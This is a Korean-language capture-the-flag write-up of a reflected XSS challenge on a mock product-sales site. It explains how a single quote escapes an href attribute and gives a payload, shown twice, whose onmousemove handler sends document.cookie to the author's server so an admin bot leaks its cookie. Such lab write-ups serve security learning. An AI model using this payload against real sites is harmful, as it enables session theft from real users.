1. 문제
1) 문제 확인
요번 문제는 실제 사이트랑 비슷? 한 문제이다. 대충 파악해보면 제품을 파는 홈페이지이다.
대충 이것저것 누르다보면 알수 있는데 제품 구매를 누르면 일단 우측 상단에 뭐라고 뜨면서 안된다. 이번 문제는 reflected xss 이므로 url에바로 접근할 필요가 있다.
2. 접근방법
url을 보면 p변수에 price라는 값이 들어가있다. 현재 제품 구매 사이트에 있으므로 p변수에 들어가는 값에 따라서 보이는 페이지가 달라지는걸 알 수 있다. 카테고리를 누르면 price 위치에 값이 바뀌는걸 알았고 저기를 어택벡터로 잡았다.
스크립트 태그를 넣으면 일단 안텨졌다. url 파라미터에 직접 넣은 값이 페이지에 그대로 나왔다. 링크가 걸려있는게 수상해서 해당 소스코드를 보았다.
아하 ! 저기 빨간줄친 부분이 위 사진에서 링크가 걸리는 주소이다. 즉 입력한 값을 a href 주소로 들어가는데, 현재 <, >, " 요 기호들이 지금 필터링된다. 그래서 안터진다. 근데 아래에 버튼을 눌렀을때 링킹되는 href = 주소를 보면
요렇게 단순히 인코딩만 되어있어서 위에처럼 치환은 안되는걸 볼수있다.
그렇다면, 파라미터를 통해 xss가 터지는걸 확인하고 report 머시기 버튼을 누르면 입력한 파라미터가 포함된 url이 관리자에게 전송되고, 봇이 그걸 읽었을때 admin 쿠키를 내 서버로 전송시키면 될 것이다.
우선 < a href='?p 내가 입력 한 값 '> 을 트리거시켜 xss를 발생키여야한다.
앞에 href를 닫기위해 ' 하나를 입력해 준다음 이벤트 핸들러를 작성하면된다. 처음에 onclick을 이용했지만, 문제에서 관리자는 의심스러운 링크는 클릭하지 않는다 라는 문구가 있다는걸 못봐서 시간이 오래 걸렸다.
쨋든 그래서 onmousemove 핸들러를 이용했다.
- payload
=> ' onmousemove='document.location="내 서버".concat(document.cookie)
JavaScript
복사
요렇게 입력하면 없는 페이지라고 브라우저에서 랜더링되면서 보여줄때
요렇게 쌍따옴표는 치환되서 보여지지만, 밑에 report 버튼에 들어가는 인자에서는
인코딩만 되서 들어간다. 쌍따옴표에 대해서 서버에서 저거를 받으면 처리할때 봇이 읽고, 그때 admin 쿠키가 전송될 것이다.
3. 풀이
정리하면
onmouseover , onmousemove 이벤트 핸들러 동작을 확인한다음 이를이용하여
- payload
=> ' onmousemove='document.location="내 서버".concat(document.cookie)
JavaScript
복사
이 페이로드를 이용하여 쿠키를 얻었다.
4. 몰랐던 개념
•
.concat() 문자열 이어붙이기
•
이벤트=' 이벤트핸들러="주소" '
요기에서 주소를 쌍따옴표로 감쌋다면 이벤트핸들러부분은 싱글쿼터로 감싸야 한다. 반대로 마찬가지이다.
•
< > 요게 > 이렇게 치환되는건 프레임워크 나 개발자가 필터링을 거는것
•
하지만 %3D 요런 인코딩은 웹 표준으로 설정된 것이기 때문에 필터링이라고 볼수 없음